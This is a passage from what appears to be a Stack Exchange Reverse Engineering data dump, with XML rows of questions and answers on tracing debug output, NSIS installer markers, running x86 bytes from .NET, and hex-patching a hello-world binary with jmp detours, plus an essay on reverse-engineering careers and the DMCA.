href=&quot;http://www.semanticdesigns.com/Announce/DOW_PRWebPressRelease.pdf&quot; rel=&quot;nofollow&quot;&gt;SD building tools for Dow Chemical&lt;/a&gt;.  This only announces the work, but we've been at it for a few years and are getting good results. We hope to be writing this up for technical journals soon, as well as applying this to more conventional languages such as C.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assert that all these ideas apply to hardware and codesign too.&lt;/p&gt;&#xA;" OwnerUserId="9784" LastEditorUserId="9784" LastEditDate="2014-10-16T10:19:52.783" LastActivityDate="2014-10-16T10:19:52.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6473" PostTypeId="1" AcceptedAnswerId="6488" CreationDate="2014-10-15T19:08:47.783" Score="2" ViewCount="922" Body="&lt;p&gt;An application I'm reversing frequently outputs debug strings. Some of them could aid me in locating the code I'm looking for, but somehow, the app doesn't seem the be using OutputDebugString at all (I've used IDA's Imports window, Olly's Search for intermodular calls, and &lt;code&gt;dumpbin /IMPORTS&lt;/code&gt;). The program only imports native Windows DLLs and one custom library which does call the function, but I've checked it and all its debug strings are internal stuff, there's no exported logging function for my exe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, the debug strings being printed cannot be found inside the exe (again, tried both Olly and IDA). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible that the call is somehow hidden by not using WinAPI? Since the program is in no way protected, I find the use of any such techniques highly unlikely, but could that be why I can't find anything using &quot;ordinary&quot; methods?&lt;/p&gt;&#xA;" OwnerUserId="8346" LastActivityDate="2014-11-14T01:50:37.793" Title="App prints debug strings but no OutputDebugString used" Tags="|windows|debuggers|" AnswerCount="3" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6474" PostTypeId="2" ParentId="6473" CreationDate="2014-10-15T19:11:07.430" Score="1" Body="&lt;p&gt;Set a breakpoint on &lt;code&gt;OutputDebugString()&lt;/code&gt;; when the breakpoint hits, check the callstack to find the source of the call.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I can't, that's the point - it doesn't seem to be called, yet the&#xA;  strings are output.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then the strings aren't being output by the executable. Attach WinDbg to your system and set breakpoints on &lt;code&gt;nt!DbgPrint&lt;/code&gt; and &lt;code&gt;nt!DbgPrintEx&lt;/code&gt;; when the breakpoint hits, check the callstack to find the source of the call.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2014-10-15T19:19:22.107" LastActivityDate="2014-10-15T19:19:22.107" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6475" PostTypeId="2" ParentId="6440" CreationDate="2014-10-15T19:35:25.603" Score="4" Body="&lt;p&gt;Many states use something called SoundEx to generate license numbers (sometimes you even see SoundEx on government forms and/or computer screens when they ask for drivers license numbers.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The soundex system was designed to phonetically map names that sound similar to close values, even though they might be spelled wildly differently eg Pheiffer vs Fifer)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also things like Metaphone.  Also, they may not use soundex directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Soundex&quot; rel=&quot;nofollow&quot;&gt;Wikipedia Soundex&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8449" LastActivityDate="2014-10-15T19:35:25.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6476" PostTypeId="2" ParentId="6463" CreationDate="2014-10-15T21:21:23.643" Score="0" Body="&lt;p&gt;Well, without reject Igor Skochinsky's answer I want to post this more landed in the fact of &lt;strong&gt;how to find where compressed data is&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Peter Kankowski wrote:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;NSIS authors found a fast solution using marker. It's so simple that you will say: &amp;quot;Why didn't I think about it?!&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Just remember that data in an exe file is aligned by 512 or 4096 bytes. So you don't need to scan the whole exe for a marker, you just need to read 512-byte chunks and look for marker at their start. In pseudocode:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;BYTE buff[512];&#xA;while(not end of file) {&#xA;   ReadFile( 512 bytes into buff)&#xA;   if(*(long*)buff == marker) {&#xA;       // Marker found!&#xA;   }&#xA;   // else read another 512-byte chunk in the loop&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;I believe it's the simplest method; it's also faster than other methods with marker.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So as you can see NSIS installer have some sort of marker. So, just look for the &lt;code&gt;ReadFile&lt;/code&gt; API call, follow the program flow until the loops start again an watch for the last jump before the loop repeat it has to have a comparision around.&lt;/p&gt;&#xA;&lt;p&gt;And there you have the &lt;strong&gt;marker&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If you want read more you can visit this very useful article: &lt;a href=&quot;http://www.strchr.com/creating_self-extracting_executables&quot; rel=&quot;nofollow noreferrer&quot;&gt;Self-extracting executables&lt;/a&gt;, thanks to Peter for a good adn clean explanation.&lt;/p&gt;&#xA;" OwnerUserId="5875" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2014-10-15T21:21:23.643" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6477" PostTypeId="2" ParentId="6416" CreationDate="2014-10-16T00:12:43.117" Score="0" Body="&lt;p&gt;Try &lt;strong&gt;Fiddler2&lt;/strong&gt; instead of &lt;strong&gt;BurpSuite&lt;/strong&gt;.&lt;br&gt;&#xA;It will log anything (I've had apps that Burp couldn't catch, only Fiddler or Wireshark)&lt;br&gt;&#xA;Each situation requires a different tool.&lt;br&gt;&#xA;Also, on a lower level, use &lt;strong&gt;Wireshark&lt;/strong&gt;.&lt;br&gt;&lt;/p&gt;&#xA;" OwnerUserId="9789" LastActivityDate="2014-10-16T00:12:43.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6478" PostTypeId="2" ParentId="6455" CreationDate="2014-10-16T07:17:44.597" Score="4" Body="&lt;p&gt;I have carried out reverse engineering projects professionally a fair bit. Generally we are commissioned to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Determine how hard it would be to create a crack for some piece of software (by the developers of that software).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Understand a specific exploit (in the security sense, e.g. a buffer overflow). In other words, &quot;here's the email we got; tell us what happened&quot;, or &quot;here's the exploit. How, &lt;em&gt;exactly&lt;/em&gt;, does it work and how can we defend against this kind of exploit in future?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Find bugs in a piece of software by examining the binary without reference to the source code, as part of a larger security audit of the code. This is surprisingly useful because some kinds of dangerous behaviour that aren't obvious in code can &quot;leap out&quot; at you in the binary, e.g. complex preprocessor macros causing dangerous behaviour in C/C++. So, counterintuitively, we sometimes use reversing because it's faster. Check out IDA pro and Hopper for the sorts of &quot;quick reversing&quot; features that help in this area - decompiling to pseudocode, finding all calls to X or just searching the string table then finding all references to a dangerous/suspect looking string, and so on. Sometimes just running 'strings' on a binary can give you ideas as to where the bugs might be; following that up with a real, pro reversing tool can help. This isn't restricted to C/C++/Objective C - if we're working in .Net or Java, we'd use .Net Reflector or the Java Decompiler and other environments have their equivalents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes we use reverse engineering to help us in a larger project. For instance, we might want to test a component in isolation; to do this without the source code we might want to edit the binary to introduce logging calls or shortcut some behaviour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then there's fuzzing, of course, but that's probably not really reversing in the true sense, although it can involve examining code at the assembly level, to understand why the code crashed / where the bug is / whether it's a security problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many, many reasons why reverse engineering is helpful even in a general development context. In the security field, it's pretty much essential.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of professional development, if you're in the security field and you have good reversing skills, you will probably be at the upper end of the pay scale. You need to be able to do the other stuff, but if you have reversing on your CV - and you can back it up - then getting hired shouldn't be a problem (in the security field at least).&lt;/p&gt;&#xA;" OwnerUserId="9793" LastEditorUserId="9793" LastEditDate="2014-10-16T07:38:23.747" LastActivityDate="2014-10-16T07:38:23.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6479" PostTypeId="1" AcceptedAnswerId="6484" CreationDate="2014-10-16T08:44:01.377" Score="4" ViewCount="1362" Body="&lt;p&gt;I've seen references on Stack Exchange and elsewhere to inserting detours into compiled code. My understanding is that essentially a jmp instruction is inserted and then somehow the patched program is linked with additional code that contains the target of the jmp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a concrete but (hopefully) simple example, consider a program.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;void hello(void) {&#xA;    printf(&quot;Hello &quot;);&#xA;    printf(&quot;world!\n&quot;);&#xA;}&#xA;&#xA;int main(void) {&#xA;    hello();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Suppose I have only a binary compiled from this program. No measures have been taken to strip symbols or obfuscate the program in any way. I want to insert a detour to call code compiled from this function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;void detour(void) {&#xA;    printf(&quot;detoured &quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output of the patched program should be:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Hello detoured world!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How would I do that? How would I avoid breaking address offsets in the compiled code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My available compilers are gcc, clang, and icc. My available operating systems are OS X and Ubuntu. Choose whatever you prefer in your answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this can't reasonably be answered here then a brief overview and a pointer to some reading material would also be a good answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aware of LD_PRELOAD and ld --wrap. The example was chosen so that those methods do not easily suffice. (You could of course just detour the entire hello() function to one that prints &quot;Hello detoured world!&quot; but lets pretend you don't have the source code and the function is non-trivial.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Related Questions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was first going to ask how to simply disassemble and reassemble a compiled program but that has been asked. The response was that it's extremely difficult. My sense from the answers is that it's not a common thing to do. I suspect my assumption that disassembling and reassembling is a necessary step for detouring might not be correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/3800/why-there-are-not-any-disassemblers-that-can-generate-re-assemblable-asm-code/4133#4133&quot;&gt;Why there are not any disassemblers that can generate re-assemblable asm code?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A similar question on StackOverflow received a lukewarm response. This question is focused just on inserting a detour rather than &quot;modification&quot; in general and I think the audience here will be more receptive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/4309771/disassembling-modifying-and-then-reassembling-a-linux-executable&quot;&gt;https://stackoverflow.com/questions/4309771/disassembling-modifying-and-then-reassembling-a-linux-executable&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This Reverse Engineering question asks about modifying binaries in general. A lot of different tools and LD_PRELOAD are mentioned. Some answers say it's possible to do this with a hex editor. I think that's the method I'd be most interested in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/185/how-do-i-add-functionality-to-an-existing-binary-executable&quot;&gt;How do I add functionality to an existing binary executable?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Recent examples I have seen that refer to doing such a thing&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A blog post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://charlessolar.com/post/tag/disassemble&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://charlessolar.com/post/tag/disassemble&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This Stack Overflow question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/9449845/how-to-link-object-file-to-executable-compiled-binary&quot;&gt;https://stackoverflow.com/questions/9449845/how-to-link-object-file-to-executable-compiled-binary&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9772" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-10-16T15:23:26.177" Title="Insert jmp detour into a compiled program" Tags="|disassembly|c|reassembly|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6480" PostTypeId="2" ParentId="6411" CreationDate="2014-10-16T09:07:05.970" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm trying to get to the code behind newObject(), which is apparently instantiated from marshaled code. I'm no .Net expert, but from what I read marshaled code is some kind of serialization that can be applied on objects to transfer functional code over binary channels (such as a TCP connection, for example).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what &quot;marshaled code&quot; means, but marshaling in .Net generally refers to interoperability with native code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not really serialization, and I believe it's not commonly used for that purpose. (It can be used to convert a single object to an array of bytes, but that's not really relevant here, since your code doesn't do that.)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now, to your code: &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/system.runtime.interopservices.marshal&quot; rel=&quot;nofollow&quot;&gt;The &lt;code&gt;Marshal&lt;/code&gt; class&lt;/a&gt; contains methods useful for interoperability, including converting between native and managed types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And that's exactly what &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/zdx6dyyh&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;GetDelegateForFunctionPointer()&lt;/code&gt;&lt;/a&gt; does: it converts from an unmanaged function pointer (pointing to some unmanaged code) to a delegate that can be called from .Net.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To verify that this is indeed what your code does, I have created a slightly simplified version of it and put the x86 machine code for a very simple function into the byte array:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Program&#xA;{&#xA;    private static readonly byte[] code =&#xA;    {&#xA;        0xB8, 0x2A, 0x00, 0x00, 0x00, // mov eax, 0x2a&#xA;        0xC3 // ret&#xA;    };&#xA;&#xA;    private delegate int FuncInt();&#xA;&#xA;    private static void Main()&#xA;    {&#xA;        IntPtr ptr = AllocExecutableMemory(code.Length);&#xA;        for (int i = 0; i &amp;lt; code.Length; i++)&#xA;        {&#xA;            Marshal.WriteByte(ptr, i, code[i]);&#xA;        }&#xA;        var del = (FuncInt)Marshal.GetDelegateForFunctionPointer(ptr, typeof(FuncInt));&#xA;        Console.WriteLine(del());&#xA;    }&#xA;&#xA;    private static IntPtr AllocExecutableMemory(int length)&#xA;    {&#xA;        // see http://www.pinvoke.net/default.aspx/kernel32.virtualalloc,&#xA;        // but change the return type from UIntPtr to IntPtr&#xA;        return NativeMethods.VirtualAlloc(&#xA;            UIntPtr.Zero, (UIntPtr)length,&#xA;            AllocationType.COMMIT, MemoryProtection.EXECUTE_READWRITE);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code prints 42 (=0x2A), as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that to analyze &lt;code&gt;Code&lt;/code&gt;, you have to look at it as unmanaged code (most likely x86).&lt;/p&gt;&#xA;" OwnerUserId="3615" LastEditorUserId="3615" LastEditDate="2014-10-16T13:12:49.467" LastActivityDate="2014-10-16T13:12:49.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6481" PostTypeId="2" ParentId="6473" CreationDate="2014-10-16T10:26:47.060" Score="2" Body="&lt;p&gt;Some debuggers can pause the program when it prints a debug message. Then you can go up the stack trace and see whence it is coming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Z1HG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-10-16T10:26:47.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6483" PostTypeId="1" AcceptedAnswerId="6487" CreationDate="2014-10-16T15:13:55.870" Score="3" ViewCount="1241" Body="&lt;p&gt;On a x64 Windows 7 I want to get the limits of non paged pool. I know that _KDDEBUGGER_DATA64 structure has this information (fields like MmNonPagedPoolStart and MmNonPagedPoolEnd). &#xA;On x86 systems this structure was obtained from KPCR.KdVersionBlock, but looking with WinDbg at KPCR's on x64 systems, KdVersionBlock seems to always be null. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way of getting this structure? Or another way of getting what I want? Maybe I'm not looking in the right place. &lt;/p&gt;&#xA;" OwnerUserId="8119" LastActivityDate="2015-03-06T09:35:37.207" Title="Obtaining MmNonPagedPoolStart on x64 systems" Tags="|windows|memory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6484" PostTypeId="2" ParentId="6479" CreationDate="2014-10-16T15:23:26.177" Score="6" Body="&lt;p&gt;I compiled your program on Ubuntu 14.04 and put it on &lt;a href=&quot;https://mega.co.nz/#!gdRRxRzZ!dw08GEHvXeTxXqurcpMLOxpXVjZa807TJN0PH60h4Rg&quot;&gt;https://mega.co.nz/#!gdRRxRzZ!dw08GEHvXeTxXqurcpMLOxpXVjZa807TJN0PH60h4Rg&lt;/a&gt;;&#xA;you might want to use that binary if you want to retrace the following&#xA;steps, because if you don't have the exact version of the C compiler and&#xA;libs, your binary might be different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file is a zip that includes the original detour.c, the compiled program (detour.orig), and the patched one (detour.patched).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, let's disassemble the binary using objdump:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ objdump -d detour.orig|less&#xA;.. stuff omitted ..&#xA;000000000040057d &amp;lt;hello&amp;gt;:&#xA;  40057d:       55                      push   %rbp&#xA;  40057e:       48 89 e5                mov    %rsp,%rbp&#xA;  400581:       bf 34 06 40 00          mov    $0x400634,%edi&#xA;  400586:       b8 00 00 00 00          mov    $0x0,%eax&#xA;  40058b:       e8 d0 fe ff ff          callq  400460 &amp;lt;printf@plt&amp;gt;&#xA;  400590:       bf 3b 06 40 00          mov    $0x40063b,%edi&#xA;  400595:       e8 b6 fe ff ff          callq  400450 &amp;lt;puts@plt&amp;gt;&#xA;  40059a:       5d                      pop    %rbp&#xA;  40059b:       c3                      retq&#xA;&#xA;000000000040059c &amp;lt;main&amp;gt;:&#xA;  40059c:       55                      push   %rbp&#xA;  40059d:       48 89 e5                mov    %rsp,%rbp&#xA;  4005a0:       e8 d8 ff ff ff          callq  40057d &amp;lt;hello&amp;gt;&#xA;  4005a5:       5d                      pop    %rbp&#xA;  4005a6:       c3                      retq&#xA;  4005a7:       66 0f 1f 84 00 00 00    nopw   0x0(%rax,%rax,1)&#xA;  4005ae:       00 00&#xA;00000000004005b0 &amp;lt;__libc_csu_init&amp;gt;:&#xA;.. more stuff omitted ..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and also check the data sections:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ objdump  -s detour.orig | less&#xA;.. stuff omitted ..&#xA;Contents of section .rodata:&#xA; 400630 01000200 48656c6c 6f200077 6f726c64  ....Hello .world&#xA; 400640 2100                                 !.&#xA;Contents of section .eh_frame_hdr:&#xA;.. more stuff omitted ..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you see, the strings &lt;code&gt;Hello&lt;/code&gt;, &lt;code&gt;world&lt;/code&gt; are in the read-only data section, at 400634 and 40063b. These offsets are passed&#xA;to &lt;code&gt;printf&lt;/code&gt; and &lt;code&gt;puts&lt;/code&gt; in &lt;code&gt;hello&lt;/code&gt;. Why &lt;code&gt;puts&lt;/code&gt;? Well, the optimizer is clever enough to rewrite a printf of a constant string&#xA;that ends in '\n' into a puts; you can see the '\n' is omitted from the string in the .rodata section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, we want to insert a &lt;code&gt;puts(&quot;detoured&quot;)&lt;/code&gt;. But there's no space in the hello function, and if we tried to insert some bytes&#xA;there, everything else in the program would be moved, which we want to avoid. Also, there's no space in the .rodata section&#xA;for another string, the .eh_frame_hdr starts directly behind it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, check address 4005a7. The main function returns at 4005a6, and the C compiler used some padding to get the next&#xA;function,  __libc_csu_init, at a 16-byte boundary. Which means there are a few unused bytes that we can make use of.&#xA;Looking through the rest of the disassembly, we find some more bytes like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4004ba          66 0f 1f 44 00 00&#xA;4004e9          0f 1f 80 00 00 00 00&#xA;400529          0f 1f 80 00 00 00 00&#xA;4005a7          66 0f 1f 84 00 00 00 00 00&#xA;400615          66 66 2e 0f 1f 84 00 00 00 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The last one of these, 400615, has the size to fit the &quot;detoured &quot; string in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now what we're going to do with the assembly is patch it to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;400590          jmp 4004e9                              e9 54 ff ff ff&#xA;4004e9          mov $0x400615, %edi; jmp 400529         bf 15 06 40 00 eb 39&#xA;400529          callq 400460; jmp 4005a7                e8 32 ff ff ff eb 77&#xA;4005a7          mov 0x40063b, %edi; jmp 400595          bf eb 06 40 00 eb e7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which overwrites the instruction at 400590, places the required instructions in the spare bytes, adds jumps between the parts,&#xA;and restores the overwritten mov before jumping to the next instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, it's time to use a hex editor to apply these patches to the binary (don't forget to move the 'detoured ' string to 400615&#xA;as well). The resulting binary should be identical to detour.patched from the zip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last, we run the patched program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ detour.patched&#xA;Hello detoured world!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you see, the trick is to make us of unused regions within the program, to avoid moving stuff around, which would break offsets.&#xA;I cheated a bit when i put the &quot;detoured&quot; string into the code section - this would fail if anything wanted to write-access the string.&#xA;If i wanted writable data, i would need to use the data section, and possibly even extend it - but that case is much more&#xA;compliated since i'd have to fiddle with the ELF headers and sizes, and i'd probably need specific ELF tools to get it right.&#xA;The current example needs nothing but a hex editor. I even crafted the hex coded manually from the opcodes; to get a bit more &#xA;sophisticated, use the radare2 tool.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-10-16T15:23:26.177" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6486" PostTypeId="2" ParentId="6455" CreationDate="2014-10-16T21:15:27.297" Score="2" Body="&lt;p&gt;There are already a lot of great answers.  If I may add my two cents.  Reverse engineering software is akin to the mechanic or tinkerer whom just enjoys taking things apart, understanding how they work, putting them back together, and possibly modifying their subject to adapt its behavior so it is more to their liking.  There is no shortage of examples in the physical realm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Electrical Engineer, hardware designer, and the most eliete QA engineers are talented reverse engineers; which is to say, they have an expertise in debugging/analyzing software/hardware implementations.  I interned at AMD as I worked my way through school and my debugging skills not only helped me advance to more serious roles within the company, but it is also &lt;em&gt;really&lt;/em&gt; fun!  Like a game or puzzle that you can play for as long as you want.  The challenges will never stop coming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My favorite example of a legitimate need for reverse engineers is NASA.  They are not the only outfit where the phrase &quot;mission critical&quot; applies, where people's lives depend on the quality of their work, but it is the only one that has to fix problems even if their product is hurtling through space.  They have to set and freeze product versions &lt;em&gt;years&lt;/em&gt; before that software / hardware ever goes to the launch pad.  That may seem silly, because the phones in our pocket have more computing power than the entire shuttle, but they can't use modern technology.  It's too risky.  They have to accept what is available at the time that the specs are frozen and that's it - lest they incur the scheduling and workload that upgrading, testing, fixing, re-testing, verifying again, simulating realistic conditions to determine failure points, fixing it, and starting over.... it is serious business and those engineers do not take their responsibility lightly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would you be surprised to learn that NASA projects have used Microsoft OSes on hardware went into shuttle components?  It is not much different than using a M$ OS as the foundation for, say for instance, a point-of-sale terminal or for the control system at a power plant.  Now consider a scenario where the OS, the hardware, or some portion of third-party software is found to have a flaw in it.  Moreover, imagine that the vendor does not care about the flaw to the degree that NASA does and decides that there is no fiscal motivation for them to fix the issue - even if lives depend upon that component not failing.  NASA is stuck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point their options are to either replace the component and start their processes all over - a huge cost in time, man-hours, and no guarentee that they won't discover another critical flaw after upgrading; or, instead of upgrading, they can reverse engineer the hardware/software failure and determine if they could fix the problem themselves - maybe it would take some curcuit re-design, changing the values of a few resistors so that voltage levels on the memory bus stayed within required limits under the extreme conditions that were making them fail or maybe there is a binary patch that they can apply that to mitigate the error state they discovered where life-support systems began failing or a probe's batteries drained and left it unable to re-charge itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not totally making these scenarios up.  They come from stories I have been told, by friends who worked at JPL, my engineering professors when I was in the University, or colleagues that have worked with in the tech industry.  All this, and more, has been surmounted by NASA's engineers.  It did cost quite a bit more than India paid (tip of the hat to them too), to do what they have done, but the first time through is always more costly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technically, NASA engineers would be violating one or more of the intellectual property laws that vendors claim they have (they may or may not actually have those rights; I&quot;m not trying to debate that here).  If you bought a corvette, you would be completely within your rights to bore out the cylinders to change your car's performance profile.  Different tires.  Modified suspension.  Tweaked timing and mixture ratios in the fuel injection system.  The famous Shelby Cobra is not only modified, but also remarketed with its aftermarket modifications- all entirely legal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you bought a radio and wanted to make some modifications, so that it was water proof and you could take it on the lake with you.  Amplify it's output so that it would still be audible over the boat engine, or anything of that sort... legal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, jailbreak your iPhone, modify your xBox or the Kinect system that came with it, or, in NASA's case, modify the OS and/or re-engineer the memory bus on a motherboard, to ensure the safety of a human mind you.  All of these activities have evoked fierce reactions from the vendors that, for whatever their reasoning, do not want those activities to be continue nor become more widespread.  Ultimately, this led to the DMCA laws that we have today being passed.  Before that, even if you were clicking &quot;I agree&quot; to the rediculus terms and services that were put before you there was still the question if that contract was legal enforceable.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The DMCA, which does nothing to disuade the massive blackmarkets in China or South America, carries harsh penalties and has been treated as a kind of &quot;hunting license&quot; for those that wish to go after consumers can and have.  Should it be illegal to make unlicensed copies of someone elses music; to sell, trade, or even give it away?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clearly, that should be illegal.  Artwork, books, patented processes, protected trademarks; yes, those should be protected too.  Software and hardware; again, yes the the author of software should be able to enforce resonalbe aspects of their licensing that protect the the investment that have made to create said software or hardware.  Explicitly, it is, and should remain, illegal to puchase one copy legitimately, turn around and make copies, and then sell/trade/or give the unlicensed copies.  Microsoft, VMWare, Adobe, and similar big companies should retain that right.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, once I have licensed the software or hardware can I make modifications and then sell/trade/or give away the software/hardware that featured &lt;em&gt;my&lt;/em&gt; modifications.  That depends.  It i, and should be illegal, to profit from derivatives works beyond the limit to which you originally licended the art (i.e. software).  For example, you could not draw the likeness of a Disney character, change the name, and then claim it as your own and profit from it's use.  I believe that Mikey no longer protected, but when he was that was and should be illegal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should a computer hobbyist, like the ones that we credit for founding the industry today, be allowed to to explore, tinker, change, discuss, show, or teach any manner of activity that they desire on their legally licensed software and hardware?  I won't answer that, but I will say that the DMCA says &quot;no&quot;.  In fact, the same tools that a reverse engineer would use for debugging the operating system are the very same tools that the prosecution will cite as evidence of illegal activity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's be a little more giving for someone prosecuting a DMCA case where the accused was know to have accessed the cryptographic keys that, among other things, would allow the defendant to make copies of protected art (e.g. music and movies).  There are some legitimate reasons that could explain the defendants actions, but not many and the illegal activities that could be pursued are costly to those that are trying to protect themselves.  At the end of the day, even though they tried their best, there is no way to actually prevent anyone from accessing those cryptographic keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It reminds me of the tag on a mattress waring of insanely harsh penalties for removing said tag, but there is no protection for the tag.  Just 